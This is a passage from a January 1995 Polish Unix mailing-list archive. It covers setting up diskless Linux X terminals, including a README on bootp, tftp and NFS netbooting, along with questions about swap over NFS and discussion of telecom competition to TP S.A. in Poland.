Wed, 11 Jan 95 14:43:43 +0100 Return-Path: Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id NAA00761 for polip@zsku.p.lodz.pl; Wed, 11 Jan 1995 13:48:50 +0100 Received: from NEWS GATEWAY by cyber with netnews for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl) To: polip@zsku.p.lodz.pl Date: 11 Jan 1995 12:42:28 GMT From: ind43@sun1000.ci.pwr.wroc.pl (Marek Michalkiewicz) Message-Id: <3f0jnk$49k@sun1000.ci.pwr.wroc.pl> Organization: Technical Univeristy of Wroclaw Sender: news.polip@cyber.ict.pwr.wroc.pl References: <3eh8r3$6hs@galaxy.uci.agh.edu.pl>, <3eufaa$cm6@sun1000.ci.pwr.wroc.pl>, <3f0c25$aj9@galaxy.uci.agh.edu.pl> Subject: Re: Announce: X PC Server Grzegorz Wrobel (wrobel@tsunami.kaniup.agh.edu.pl) wrote: : Wysylam krotki opis. Oprocz tego mam jeszcze napisana przez kogos innego : dokladniejsza (lopatologiczna :-) instrukcje instalacji - nie wysylam, bo jest : dosc dluga - chetnym moge wyslac mailem (tej instrukcji nie ma w instalacji!). : Oprogramowanie jest dostepne na : ftp.sch.bme.hu:/pub/unix/linux/xterminal/obsolete : (jest rowniez jakas wersja z loadlinem w .../xterminal/install ). : Oprocz tego potrzebne jest chyba zrodlo bootp. : Aha, ja tego nie instalowalem wiec nie wiem jak dziala ... : Grzegorz Wrobel : ----------------------------------------------------------------------------- : ~r ~wrobel/ftp/linux_X_bootp/howto Troche krotki ten opis... :-) W pl.comp.sys.pc-unix nie ma duzego ruchu, wiec ta lopatologiczna instrukcja nie bylaby tutaj chyba niczym nagannym (chyba, ze jest rzeczywiscie BARDZO dluga, albo jest juz gdzies dostepna przez ftp). (Moge to sciagnac do nas i udostepnic z ftp.ists.pwr.wroc.pl, ale przed chwila probowalem i ftp.sch.bme.hu nie zglasza sie - moze sie uda pozniej.) Pozdrawiam. -- Marek Michalkiewicz marekm@i17linuxa.ists.pwr.wroc.pl || ind43@ci3ux.ci.pwr.wroc.pl From news.polip@cyber.ict.pwr.wroc.pl Wed Jan 11 14:47:49 1995 Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA09644; Wed, 11 Jan 95 14:43:48 +0100 Return-Path: Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id NAA00222 for polip@zsku.p.lodz.pl; Wed, 11 Jan 1995 13:18:56 +0100 Received: from NEWS GATEWAY by cyber with netnews for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl) To: polip@zsku.p.lodz.pl Date: 11 Jan 1995 10:31:33 GMT From: wrobel@tsunami.kaniup.agh.edu.pl (Grzegorz Wrobel) Message-Id: <3f0c25$aj9@galaxy.uci.agh.edu.pl> Organization: University of Mining & Metallurgy Sender: news.polip@cyber.ict.pwr.wroc.pl References: , <3eh8r3$6hs@galaxy.uci.agh.edu.pl>, <3eufaa$cm6@sun1000.ci.pwr.wroc.pl> Subject: Re: Announce: X PC Server Marek Michalkiewicz (ind43@sun1000.ci.pwr.wroc.pl) wrote: : Grzegorz Wrobel (wrobel@tsunami.kaniup.agh.edu.pl) wrote: : : Dziala toto przy uzyciu bootp, a potem przez TFTP sciaga sobie : : z servera kernel linuxa i dalej dziala na filesystemie servera przez NFS. : : Moge sprobowac znalezc adres, gdzie tego szukac (pamietam, ze gdzies : : go zapisywalem, tylko gdzie ...). : : Aha, na pewno byly do tego zrodla. : Gdyby udalo sie znalezc adres gdzie to jest, bardzo prosze go tutaj podac. : Mogloby to byc lepszym rozwiazaniem od tego, o czym pisalem. : Pozdrawiam. : -- : Marek Michalkiewicz : marekm@i17linuxa.ists.pwr.wroc.pl || ind43@ci3ux.ci.pwr.wroc.pl Wysylam krotki opis. Oprocz tego mam jeszcze napisana przez kogos innego dokladniejsza (lopatologiczna :-) instrukcje instalacji - nie wysylam, bo jest dosc dluga - chetnym moge wyslac mailem (tej instrukcji nie ma w instalacji!). Oprogramowanie jest dostepne na ftp.sch.bme.hu:/pub/unix/linux/xterminal/obsolete (jest rowniez jakas wersja z loadlinem w .../xterminal/install ). Oprocz tego potrzebne jest chyba zrodlo bootp. Aha, ja tego nie instalowalem wiec nie wiem jak dziala ... Grzegorz Wrobel ----------------------------------------------------------------------------- ~r ~wrobel/ftp/linux_X_bootp/howto From news.polip@cyber.ict.pwr.wroc.pl Wed Jan 11 14:47:51 1995 Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA09647; Wed, 11 Jan 95 14:43:52 +0100 Return-Path: Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id MAA29892 for polip@zsku.p.lodz.pl; Wed, 11 Jan 1995 12:57:38 +0100 Received: from NEWS GATEWAY by cyber with netnews for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl) To: polip@zsku.p.lodz.pl Date: 11 Jan 1995 11:22:40 GMT From: lis@asic.ict.pwr.wroc.pl (Jarek Lis) Message-Id: <3f0f20$suk@sun1000.ci.pwr.wroc.pl> Organization: Technical Univeristy of Wroclaw Sender: news.polip@cyber.ict.pwr.wroc.pl References: <3etjsq$evp@ghost.mimuw.edu.pl>, <3eu9oe$1g6@galaxy.uci.agh.edu.pl>, <3eugv0$4dl@ghost.mimuw.edu.pl> Subject: Re: Siec Optimusa? Andrzej K. Brandt (andy@eleet.mimuw.edu.pl) wrote: : Marcin Raczkiewicz (raczkiew@saturn.kt.agh.edu.pl) wrote: : : Andrzej K. Brandt (andy@eleet.mimuw.edu.pl) wrote: : : : wieksze mozliwosci niz normalna siec telefoniczna. Czyzby wiec pojawila sie : : : wreszcie jakas szansa realnej konkurencji dla TP S.A.? Czy ktos na liscie : : : wie cos wiecej na ten temat? : : Konkurencja dla TPSA zaczyna sie robic. Akurat nic nie wiem na temat sieci : : optimusa, ale wystarczy przejrzec gazety zeby zobaczyc, ze idzie finansowanie : : dla firm prywatnych telekomunikacyjnych w Polsce. Ze te firmy sie dopiero : : tworza to w pelni zrozumiale: trzeba na to troche czasu. Sadze ze w tym roku : : (pod koniec) patrzac realnie mamy szanse, ze powstanie kilka firm mogacych : : konkurowac LOKALNIE z TPSA. : Hm - a gdzie w gazetach widac tego przejawy. Jak dotad jest to pierwsza taka : inicjatywa na ta skale. Pytanie jeno o stosunek Panstwa do tych : przedsiewziec, bo dotychczas jest z tym kiepsko. Nie jest tak zle. Troche firm, ktore kable juz maja czeka w pogotowiu. Na przyklad PKP - siec jest chyba z 10 razy wieksza niz POLPAK. Nawet ma juz nazwe - KOLPAK, i chyba odpowiednie zezwolenia. Brakuje tylko sprywatyzowania, zeby zechcieli uslugi sprzedawac. A co do Optimusa, to mam wrazenie, ze firma ma za malo pieniedzy na inwestycje telekomunikacyjne. W tym kraju chyba nikt nie ma odpowiednich pieniedzy. Jarek. : -- : 73 de Andy SP5WCA : /-------------------+--------+-------------------+-------------------------\ : I Andrzej K. Brandt I SP5WCA I andy@mimuw.edu.pl I andy@sp5wca.ampr.org I : \-------------------+--------+-------------------+-------------------------/ From zych@student.uci.agh.edu.pl Wed Jan 11 15:02:44 1995 Received: from galaxy.uci.agh.edu.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA10554; Wed, 11 Jan 95 14:59:31 +0100 Return-Path: Received: from student.uci.agh.edu.pl by uci.agh.edu.pl (4.1/SMI-4.1) id AA00516; Wed, 11 Jan 95 14:59:28 +0100 Organization: University of Mining and Metallurgy Address: Mickiewicza 30, 30-059 Krakow, POLAND Received: by student.uci.agh.edu.pl (4.1/SMI-4.1) id AA16430; Wed, 11 Jan 95 14:58:59 +0100 From: zych@student.uci.agh.edu.pl (Zbigniew Zych) Message-Id: <9501111358.AA16430@student.uci.agh.edu.pl> Subject: Swap on Linux (Announce: X PC Server) To: polip@zsku.p.lodz.pl Date: Wed, 11 Jan 1995 14:58:58 +0100 (MET) In-Reply-To: <3f0k6p$49k@sun1000.ci.pwr.wroc.pl> from "Marek Michalkiewicz" at Jan 11, 95 02:52:09 pm X-Mailer: ELM [version 2.4 PL21] Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Content-Length: 1014 Marek Michalkiewicz wrote: > Rafal Maszkowski (rzm@dain.erlm.siemens.de) wrote: > (chodzi o bezdyskowego Linuxa) > : Jedyny problem to niemoznosc uzywania swapa przez NFS, wiec minimalna > : instalacja tego rodzaju musi miec troche wiecej pamieci niz instalacja > : ze swapem. > Wlasciwie zastanawiam sie, skad to ograniczenie. Widzialem, ze odwolania > do swapa troche omijaja system plikow - pewnie po to, by bylo szybciej. > Moze jednak warto by podrzucic ten pomysl (swap przez NFS) komu trzeba > do uwzglednienia w przyszlych wersjach Linuxa... > (Wiem, ze NFS jest wolny, ale brak swapa moze spowolnic jeszcze bardziej.) Tak sie zastanawiam, w koncu Linux ma 2 mozliwosci swapowania: - swap partition - swap file. Czy nie mozna swap file zalozyc na NFSie? Zbigniew Zych -- Zbigniew Zych ircnick: Zyzio home phone: 48+12-48.74.29 -- email&finger: zych@ernie.icslab.agh.edu.pl zych@student.uci.agh.edu.pl -- HomePage From news.polip@cyber.ict.pwr.wroc.pl Wed Jan 11 15:05:34 1995 Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA10855; Wed, 11 Jan 95 15:04:20 +0100 Return-Path: Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id PAA02005 for polip@zsku.p.lodz.pl; Wed, 11 Jan 1995 15:01:32 +0100 Received: from NEWS GATEWAY by cyber with netnews for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl) To: polip@zsku.p.lodz.pl Date: 11 Jan 1995 12:56:29 GMT From: raczkiew@saturn.kt.agh.edu.pl (Marcin Raczkiewicz) Message-Id: <3f0kht$4d9@galaxy.uci.agh.edu.pl> Organization: University of Mining & Metallurgy Sender: news.polip@cyber.ict.pwr.wroc.pl References: <3eu9oe$1g6@galaxy.uci.agh.edu.pl>, <3eugv0$4dl@ghost.mimuw.edu.pl>, <3f0f20$suk@sun1000.ci.pwr.wroc.pl> Subject: Re: Siec Optimusa? : Nie jest tak zle. Troche firm, ktore kable juz maja czeka w pogotowiu. : Na przyklad PKP - siec jest chyba z 10 razy wieksza niz POLPAK. Nawet : ma juz nazwe - KOLPAK, i chyba odpowiednie zezwolenia. Brakuje tylko : sprywatyzowania, zeby zechcieli uslugi sprzedawac. To nie tak. KOLPAK bedzie swiadczyl inne uslugi niz te o ktore pytasz. Oni sa za slabi, a to ze maja taka siec (zreszta od grudnia 1994) to wymog banku swiatowego na modernizacje kolei. Jezeli KOLPAK bedzie swiadczyl uslugi to raczej transmisje danych, a na tym polu jest w Polsce realna konkurencja (co najmniej 10 firm konkurujacych). : A co do Optimusa, to mam wrazenie, ze firma ma za malo pieniedzy na : inwestycje telekomunikacyjne. W tym kraju chyba nikt nie ma odpowiednich : pieniedzy. Mne sie tez tak wydaje. Marcin From news.polip@cyber.ict.pwr.wroc.pl Wed Jan 11 15:05:42 1995 Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA10860; Wed, 11 Jan 95 15:04:24 +0100 Return-Path: Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id PAA02004 for polip@zsku.p.lodz.pl; Wed, 11 Jan 1995 15:01:29 +0100 Received: from NEWS GATEWAY by cyber with netnews for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl) To: polip@zsku.p.lodz.pl Date: 11 Jan 1995 12:48:27 GMT From: wrobel@tsunami.kaniup.agh.edu.pl (Grzegorz Wrobel) Message-Id: <3f0k2r$gc3@galaxy.uci.agh.edu.pl> Organization: University of Mining & Metallurgy Sender: news.polip@cyber.ict.pwr.wroc.pl References: <3eh8r3$6hs@galaxy.uci.agh.edu.pl>, <3eufaa$cm6@sun1000.ci.pwr.wroc.pl>, <3f0c25$aj9@galaxy.uci.agh.edu.pl> Subject: Re: Announce: X PC Server Grzegorz Wrobel (wrobel@tsunami.kaniup.agh.edu.pl) wrote: : Wysylam krotki opis. Przepraszam za followup do siebie ale napisalem, ze wysylam opis, no i nie calkiem mi sie to udalo. Tym razem ma nadzieje bedzie lepiej. Grzegorz Wrobel --------include------------------------------------------------------------- [ README.netboot - Basic documentation for the Diskless Linux Xterminal ] This package allows you to boot PC-s from the network and run Linux X-servers on them. The PC's must have 386 processor, 4M ram and a floppy drive or harddisk, WD or SMC ethernet card, and a mouse. This work is based on: o Jamie Honan's netboot.zoo and rampatch12 o Rick Sladkey's nfsmount code o Linux V0.99pl12 kernel source by various authors I n s t a l l a t i o n s t e p s: ------------------------------------ 1. Choose a host that will be your bootp and tftp server. This host must be able to handle bootp and tftp requests coming from the clients. Read the man pages of tftp, tftpd, bootp, bootpd, bootptab for detailed information about these services and how to enable them. - Use the sample bootptab file to create your own bootp configuration file. If done, try out if it works, using a bootp client. - Copy the zNetBoot image into a proper directory and make it world readable. Try out, if you can download it using a simple tftp client. 2. Choose a host that will be the NFS server. This can be the same machine as the bootp/tftp server. Create a directory, and untar the nfsdir archive into it. Insert the : string into the bootptab file, as in the sample bootptab file. Note that this string must be shorter than 30 characters! Edit your /etc/exports file, and export this directory for every client host. read-only export is fine. Now, try to mount this directory from a client. On the NFS server, edit the /etc/.startup file. Change the hostaddress after -query to the XDMCP server you want to login to from the clients. You can use -indirect or -broadcast for special queries as well. Every client will start the program in the first line of .startup. The option -xconfig /usr/lib/X11/Xconfig.xxx.xxx.xxx.xxx will be appended to this line automaticaly by the startup program. If you want to ignore this appended extra option, use the -I option of X. See X -?... You have to edit two more files on the NFS server in : hosts, resolv.conf See this files for more info. 3. Choose a DOS machine where you can compile the proper boot images for every client. Install a complete Turbo C 2.0 with tasm on this PC. Yes, this is the old little TC2.0, not the ugly TC++ 2.0! Un-arj the netboot.arj archive somewhere on this DOS-box. To compile a fimage.bin or a booter.com file for a client, edit config.h to set the proper int, i/o, mem base values. Then do a make clean, make net8003. At last, type make fimage.bin or make booter.com to generate the file. If using floppy boot, rawrite the generated fimage.bin onto a blank formatted floppy disk, using the rawrite.exe program. If booting from hard-disk, generate a booter.com and copy it into c:\dos, then edit your config.sys, and insert the following line: shell=c:\dos\booter.com. It is recommended to use a config-sys menu program, like bootcon.sys, or the built in boot-menu feature of DOS 6.0 or higher. 4. Choose a client machine. Get the ethernet address of it's WD card, and his IP address. Insert a new line into the bootptab file on the bootp server for this client, as can be seen in the sample bootptab file. Now, get the setup of the WD card: interrupt, memory base, i/o port. Make a bootable floppy disk or a booter.com file, as written above. Create a new Xconfig.xxx.xxx.xxx.xxx file in the /usr/lib/X11 directory on the nfs server. This file will be used as the X-server configuration file for this client. Edit the mouse and video settings if needed. Note that the name of the file contains the IP address of the client, in a special 0 padded form. So the length of the filename is always 23. Some info about writing X386 style Xconfig files can be found in ./Xconfig. NOW: If ready and you have TONS OF LUCK, after booting the client using a floppy or booter.com, you will see the following procedure, which takes cca. 30 secs: 1. netboot image starts and founds your ethernet address, 2. the bootp server will respond 3. the zNetBoot image will be downloaded using tftp 4. the Linux kernel starts, it checks all the hardware 5. the ramdisk will be mounted as root 6. netconf will start as the init process, it will print the network configuration string. 7. Using the information in this string, netconf will configure the linux network support doing all the ifconfig, route add, nfs mount things. 8. After NFS mounted succesfully, /etc/startup will start. It reads the /etc/.startup file and starts the X server program. 9. The X is coming up, reading the Xconfig file, video card type will be detected, dot clock will be found and the screen will switch to graphics mode. 10.The login screen of the XDMCP server will come up. You can log in. F i l e s : ----------- bootptab This is a sample bootptab file. You have to configure the bootp server with this bootptab file. The description of each field in bootptab follows: bf: boot file name, this file will be downloaded using tftp by all the clients. The file must be available on the bootp/tftp server (these two must be the same host!) with world readable permissions. sm: The netmask value in your local network. Run /etc/ifconfig to get these address. lg: log server, here used as the broadcast address of the network. Run /etc/ifconfig to get these address. lp: lp server, here used as the network address for the routing table. Run /etc/route if you dont know this address. gw: The default gateway for routing table, run /etc/route to get this address. T99: The hostname:dirname string. This directory will be mounted using NFS on each client. This string must be shorter than 32 characters, so use short dirname. The other fields must be set up as can be seen in the sample bootptab file, these fields are: bs=auto, vm=rfc1048. zNetBoot This image will be downloaded using tftp by every client at netboot startup. This image must be located in a world readable directory, with the world read permission bit set. images.arj This file contains the fimage.bin and booter.com files for all the combinations of the following WD card setups: mem base c800 or d000, int 5 or 3, i/o port 280 or 300. In each of the 8 possible subdirectories, there is a fimage.bin and a booter.com file. rawrite.exe is included. netboot.arj Unarj this to a DOS machine if you are using strange WD setups. Install a Turbo C 2.0 with Tasm, edit config.h and recompile it to generate your own booting images. nfsdir.tgz This file should be untarred onto the NFS server and exported read-only for every client host. The IP address of the NFS server and the directory where this package goes, should be placed into the bootptab file as T99. This string must be shorter than 32 characters. T r o u b l e s h o o t i n g ----------------------------- There are soooo many points, where this operation can stop, and soooo many possibilities of misconfiguration, that you need experience to get this stuff working. I do want to hear your questions, if you have some. I do want to hear your comments as well. I'll try to help those people, who give me detailed, full descriptions of their problem. But hey, I cant make it working for you! It works for me and I give every information I can, but maybe that's not enough. You will have to find out what's wrong in your network environment, or in your setup. Please do not forget that. And if it works for you, dont forget to drop me a note, please :) If you want to see the sources of all this stuff, I can send them to you. I didn't include them in this package because they are not needed to get things working, and some parts of it are a little bit ugly :) T o d o l i s t ------------------- o Upgrade to Linux v1.0 (It works with pl12 now, somewhat old) o currently no swapping is done, but it isn't necessary I think. With 4M RAM, you can start 20 Xmosaic's, the Xserver will quit only after the 21st. o more Docs needed Saby (saby@sch.bme.hu) -------- Szijarto Szabolcs - Technical University of Budapest BME-VIIK-MMT Diskless Linux Xterminal project 1994. --------end of include----------------------------------------------------- From zych@student.uci.agh.edu.pl Wed Jan 11 15:32:45 1995 Received: from galaxy.uci.agh.edu.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA12668; Wed, 11 Jan 95 15:32:16 +0100 Return-Path: Received: from student.uci.agh.edu.pl by uci.agh.edu.pl (4.1/SMI-4.1) id AA06332; Wed, 11 Jan 95 15:32:13 +0100 Organization: University of Mining and Metallurgy Address: Mickiewicza 30, 30-059 Krakow, POLAND Received: by student.uci.agh.edu.pl (4.1/SMI-4.1) id AA20421; Wed, 11 Jan 95 15:31:44 +0100 From: zych@student.uci.agh.edu.pl (Zbigniew Zych) Message-Id: <9501111431.AA20421@student.uci.agh.edu.pl> Subject: Re: Siec Optimusa? To: polip@zsku.p.lodz.pl Date: Wed, 11 Jan 1995 15:31:43 +0100 (MET) In-Reply-To: <3f0f20$suk@sun1000.ci.pwr.wroc.pl> from "Jarek Lis" at Jan 11, 95 03:23:58 pm X-Mailer: ELM [version 2.4 PL21] Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Content-Length: 1724 Jarek Lis wrote: > Andrzej K. Brandt (andy@eleet.mimuw.edu.pl) wrote: > : Marcin Raczkiewicz (raczkiew@saturn.kt.agh.edu.pl) wrote: > : : Andrzej K. Brandt (andy@eleet.mimuw.edu.pl) wrote: > > : Hm - a gdzie w gazetach widac tego przejawy. Jak dotad jest to pierwsza taka > : inicjatywa na ta skale. Pytanie jeno o stosunek Panstwa do tych > : przedsiewziec, bo dotychczas jest z tym kiepsko. Co do konkurencji TP SA - juz od nowego roku ruszyla pelna para w Swidniku lokalna siec telefoniczna... Podobno ma juz kilka czy kilkanascie tysiecy abonentow... Wiem, wiem - pierwsza jaskolka wiosny nie czyni - ale zawsze to cos... > Nie jest tak zle. Troche firm, ktore kable juz maja czeka w pogotowiu. > Na przyklad PKP - siec jest chyba z 10 razy wieksza niz POLPAK. Nawet > ma juz nazwe - KOLPAK, i chyba odpowiednie zezwolenia. Brakuje tylko > sprywatyzowania, zeby zechcieli uslugi sprzedawac. PKP ma nie tylko zezwolenia - ale siec. Oni na tym juz dzialaja... Jest na tym rezerwacja biletow, docelowo ma ruszyc system obslugi wagonow towarowych - wlasciciel wagonu np. z Francji bedzie sie mogl w kazdej chwili dowiedziec gdzie jego wagon aktualnie jest i jaka trasa jedzie np. do Minska... Z tego co mi wiadomo (artykul z bodajze Computerworld'a - ale stary) nie bedzie sie prywatyzowac - ani sprzedawac uslug - po prostu to ma byc wewnetrzna siec kolejowa... Ew. jedna wieksza firma moze korzystac na zasadach odplatnosci, ale nie ma to byc dostepna powszechnie siec... Zbigniew Zych -- Zbigniew Zych ircnick: Zyzio home phone: 48+12-48.74.29 -- email&finger: zych@ernie.icslab.agh.edu.pl zych@student.uci.agh.edu.pl -- HomePage From pastupam@uoo.univ.szczecin.pl Wed Jan 11 15:39:03 1995 Received: from uoo.univ.szczecin.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA13009; Wed, 11 Jan 95 15:37:17 +0100 Return-Path: Message-Id: <9501111437.AA13009@zsku.p.lodz.pl> Received: by uoo.univ.szczecin.pl (1.37.109.4/16.2) id AA07618; Wed, 11 Jan 95 15:36:50 +0100 From: Jerzy Pastusiak Subject: Re: Siec Optimusa? To: polip@zsku.p.lodz.pl Date: Wed, 11 Jan 95 15:36:49 MET In-Reply-To: <3f0f20$suk@sun1000.ci.pwr.wroc.pl>; from "Jarek Lis" at Jan 11, 95 3:23 pm Mailer: Elm [revision: 70.85] > > A co do Optimusa, to mam wrazenie, ze firma ma za malo pieniedzy na > inwestycje telekomunikacyjne. W tym kraju chyba nikt nie ma odpowiednich > pieniedzy. > > Jarek. > Na swiecie duz'a, konkurecje dla telekomunikacji stanowi energetyka. Podwieszaja swiatlowody pod liniami wysokiego napiecia i w swiat. Chyba i nas to czeka. Pozdrawiam, J.P. From ELEKP@elektron.pol.lublin.pl Wed Jan 11 18:42:47 1995 Received: from apollo.umcs.lublin.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA18362; Wed, 11 Jan 95 18:41:31 +0100 Return-Path: Received: from elektron.pol.lublin.pl by apollo.umcs.lublin.pl with SMTP (1.38.193.4/16.2) id AA09728; Wed, 11 Jan 1995 18:41:52 +0100 Received: from ELEKTRON/MAILQUEUE by elektron.pol.lublin.pl (Mercury 1.13); Wed, 11 Jan 95 18:40:13 +0100 Received: from MAILQUEUE by ELEKTRON (Mercury 1.13); Wed, 11 Jan 95 18:40:05 +0100 From: "Eligiusz Pawlowski, LUBLIN." To: polip@zsku.p.lodz.pl Date: Wed, 11 Jan 1995 18:39:57 +0100 Subject: Re: Siec Optimusa? X-Pmrqc: 1 Priority: normal X-Mailer: Pegasus Mail v3.1 (R1a) Message-Id: > From: zych@student.uci.agh.edu.pl (Zbigniew Zych) > > Co do konkurencji TP SA - juz od nowego roku ruszyla pelna para w Swidniku > lokalna siec telefoniczna... Podobno ma juz kilka czy kilkanascie tysiecy > abonentow... Wiem, wiem - pierwsza jaskolka wiosny nie czyni - ale zawsze > to cos... > Jaskolka zdechla, no prawie zdechla. W Swidniku kolo Lublina istnieje lokalna siec telefoniczna, i to lokalna w sensie doslownym. TPSA skutecznie odmawia wlaczenia tej sieci do sieci miedzymiastowej. Tak wiec ze Swidnika mozna dzwonic tylko do ... Swidnika. A Swidnik jest taki, ze rownie dobrze wystarczy otworzyc okno i mozna z calym miastem sobie porozmawiac. Mysle, ze TPSA trzyma sie jeszcze calkiem niezle ! Elek. ------------------------------------------------------------------- Eligiusz Pawlowski elekp@elektron.pol.lublin.pl POLITECHNIKA LUBELSKA Wydzial Elektryczny Katedra Metrologii Elektrycznej i Elektronicznej ul.Nadbystrzycka 38 A 20-618 LUBLIN tel.(48) (81) 55-10-51 wew.259,265 ------------------------------------------------------------------- From kokowski@CS.PUT.Poznan.PL Wed Jan 11 19:57:49 1995 Received: from syriusz.cs.put.poznan.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA20177; Wed, 11 Jan 95 19:56:08 +0100 Return-Path: Received: from wega.ics.tup.edu.pl (wega.cs.put.poznan.pl) by syriusz.cs.put.poznan.pl (4.1/SMI-4.1) id AA03668; Wed, 11 Jan 95 19:57:07 +0100 Subject: Re: Siec Optimusa? - konkurencja To: polip@zsku.p.lodz.pl Date: Wed, 11 Jan 1995 19:43:13 +0100 (CEU) From: Tomasz Kokowski In-Reply-To: <9501111437.AA13009@zsku.p.lodz.pl> from "Jerzy Pastusiak" at Jan 11, 95 04:24:52 pm Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Length: 364 Message-Id: <9501111943.aa01062@wega.ics.tup.edu.pl> > > > Na swiecie duz'a, konkurecje dla telekomunikacji stanowi energetyka. > Podwieszaja swiatlowody pod liniami wysokiego napiecia i w swiat. > Chyba i nas to czeka. Pozdrawiam, J.P. > W Polsce juz takie polaczenia funkcjonuja np. Gdansk-Elblag o ole mnie pamiec nie myli. W innych regionach rowniez. Energetyka byla nedawno opisywana w CW. Tomasz Kokowski From RAJ@inf.wsp.krakow.pl Wed Jan 11 21:27:48 1995 Received: from nms.cyf-kr.edu.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA21682; Wed, 11 Jan 95 21:24:19 +0100 Return-Path: Received: from inf.wsp.krakow.pl (inf.wsp.krakow.pl [149.156.24.10]) by nms.cyf-kr.edu.pl (8.6.9/8.6.9) with SMTP id VAA25571 for ; Wed, 11 Jan 1995 21:27:28 +0100 Received: from INF/~MAIL~ by inf.wsp.krakow.pl (Mercury 1.12); Wed, 11 Jan 95 21:22:26 GMT+0100 Received: from ~MAIL~ by INF (Mercury 1.12); Wed, 11 Jan 95 21:22:01 GMT+0100 From: "Jaroslaw Rafa" Organization: Zaklad Informatyki WSP, Krakow To: polip@zsku.p.lodz.pl Date: Wed, 11 Jan 1995 21:21:53 GMT+0100 Subject: Re: Announce: X PC Server Priority: normal X-Mailer: Pegasus Mail v3.21 Message-Id: <17379666D4@inf.wsp.krakow.pl> > Date sent: Wed, 11 Jan 95 14:53:25 +0100 > Send reply to: polip@zsku.p.lodz.pl > From: ind43@sun1000.ci.pwr.wroc.pl (Marek Michalkiewicz) > To: sfrafa@cyf-kr.edu.pl > Subject: Re: Announce: X PC Server > Organization: Technical Univeristy of Wroclaw > Rafal Maszkowski (rzm@dain.erlm.siemens.de) wrote: > (chodzi o bezdyskowego Linuxa) > : Jedyny problem to niemoznosc uzywania swapa przez NFS, wiec minimalna > : instalacja tego rodzaju musi miec troche wiecej pamieci niz instalacja > : ze swapem. > Wlasciwie zastanawiam sie, skad to ograniczenie. Widzialem, ze odwolania > do swapa troche omijaja system plikow - pewnie po to, by bylo szybciej. > Moze jednak warto by podrzucic ten pomysl (swap przez NFS) komu trzeba > do uwzglednienia w przyszlych wersjach Linuxa... > (Wiem, ze NFS jest wolny, ale brak swapa moze spowolnic jeszcze bardziej.) To znaczy chodzi o "swap partition", tak? Odwolania do "swap partition" ida bezposrednio przez BIOS, wiec oczywiste ze nie da sie przez NFS. Ale oprocz (w tym przypadku raczej zamiast) "swap partition" mozna sobie zalozyc "swap file" ktory jest plikiem na zwyklym systemie plikow linuxa. Czy tego tez sie nie da uzywac przez NFS? (ja osobiscie mam zwykle "swap partitions" wiec nie wiem) Pozdrowienia, Jaroslaw Rafa sfrafa@cyf-kr.edu.pl, raj@inf.wsp.krakow.pl From RAJ@inf.wsp.krakow.pl Wed Jan 11 21:32:49 1995 Received: from nms.cyf-kr.edu.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA21987; Wed, 11 Jan 95 21:31:46 +0100 Return-Path: Received: from inf.wsp.krakow.pl (inf.wsp.krakow.pl [149.156.24.10]) by nms.cyf-kr.edu.pl (8.6.9/8.6.9) with SMTP id VAA25620 for ; Wed, 11 Jan 1995 21:34:55 +0100 Received: from INF/~MAIL~ by inf.wsp.krakow.pl (Mercury 1.12); Wed, 11 Jan 95 21:29:54 GMT+0100 Received: from ~MAIL~ by INF (Mercury 1.12); Wed, 11 Jan 95 21:29:36 GMT+0100 From: "Jaroslaw Rafa" Organization: Zaklad Informatyki WSP, Krakow To: polip@zsku.p.lodz.pl Date: Wed, 11 Jan 1995 21:29:29 GMT+0100 Subject: Re: Siec Optimusa? Priority: normal X-Mailer: Pegasus Mail v3.21 Message-Id: <1757F258B0@inf.wsp.krakow.pl> > Date sent: Wed, 11 Jan 95 16:25:06 +0100 > Send reply to: polip@zsku.p.lodz.pl > From: Jerzy Pastusiak > To: sfrafa@cyf-kr.edu.pl > Subject: Re: Siec Optimusa? > Na swiecie duz'a, konkurecje dla telekomunikacji stanowi energetyka. > Podwieszaja swiatlowody pod liniami wysokiego napiecia i w swiat. > Chyba i nas to czeka. Pozdrawiam, J.P. > U nas taka siec juz jest, na razie dziala na wewnetrzne potrzeby energetyki. Mysle ze wzorem KOLPAK-u kiedys sie upubliczni. Pozdrowienia, Jaroslaw Rafa sfrafa@cyf-kr.edu.pl, raj@inf.wsp.krakow.pl From RAJ@inf.wsp.krakow.pl Wed Jan 11 21:32:52 1995 Received: from nms.cyf-kr.edu.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA21912; Wed, 11 Jan 95 21:30:46 +0100 Return-Path: Received: from inf.wsp.krakow.pl (inf.wsp.krakow.pl [149.156.24.10]) by nms.cyf-kr.edu.pl (8.6.9/8.6.9) with SMTP id VAA25610 for ; Wed, 11 Jan 1995 21:33:55 +0100 Received: from INF/~MAIL~ by inf.wsp.krakow.pl (Mercury 1.12); Wed, 11 Jan 95 21:28:53 GMT+0100 Received: from ~MAIL~ by INF (Mercury 1.12); Wed, 11 Jan 95 21:28:37 GMT+0100 From: "Jaroslaw Rafa" Organization: Zaklad Informatyki WSP, Krakow To: 